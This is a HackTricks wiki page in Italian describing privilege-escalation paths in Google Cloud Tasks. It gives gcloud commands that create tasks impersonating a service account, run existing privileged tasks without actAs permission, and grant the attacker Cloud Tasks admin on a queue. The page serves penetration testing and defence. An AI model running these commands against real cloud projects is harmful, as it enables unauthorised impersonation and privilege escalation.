GCP - Cloud Tasks Privesc

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cloud Tasks

cloudtasks.tasks.create, iam.serviceAccounts.actAs

Un attaccante con queste autorizzazioni può impersonare altri service account creando task che vengono eseguite con l’identità del service account specificato. Ciò permette di inviare richieste HTTP autenticate a servizi Cloud Run o Cloud Functions protetti da IAM.

Creare una Cloud Task impersonando un service account ```bash gcloud tasks create-http-task \ task-$(date '+%Y%m%d%H%M%S') \ --location us-central1 \ --queue \ --url 'https://.us-central1.run.app' \ --method POST \ --header 'X-Hello: world' \ --body-content '{"hello":"world"}' \ --oidc-service-account-email @.iam.gserviceaccount.com ```

cloudtasks.tasks.run, cloudtasks.tasks.list

Un attacker con queste autorizzazioni può eseguire scheduled tasks esistenti senza avere permessi sul service account associato al task. Questo permette di eseguire task che erano stati precedentemente creati con service account con privilegi più elevati.

Eseguire una Cloud Task esistente senza actAs permission ```bash gcloud tasks run projects//locations/us-central1/queues//tasks/ ```

Il principal che esegue questo comando non ha bisogno del permesso iam.serviceAccounts.actAs sull’account di servizio del task. Tuttavia, questo permette solo di eseguire task esistenti: non concede la possibilità di creare o modificare i task.

cloudtasks.queues.setIamPolicy

Un attaccante con questo permesso può assegnare a se stesso o ad altri principal ruoli di Cloud Tasks su code specifiche, potenzialmente scalando a roles/cloudtasks.admin che include la possibilità di creare ed eseguire task.

Concedi ruolo admin di Cloud Tasks su una coda ```bash gcloud tasks queues add-iam-policy-binding \ \ --location us-central1 \ --member serviceAccount:@.iam.gserviceaccount.com \ --role roles/cloudtasks.admin ```

Questo permette all’attaccante di concedere permessi admin completi di Cloud Tasks sulla coda a qualsiasi service account che controlla.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks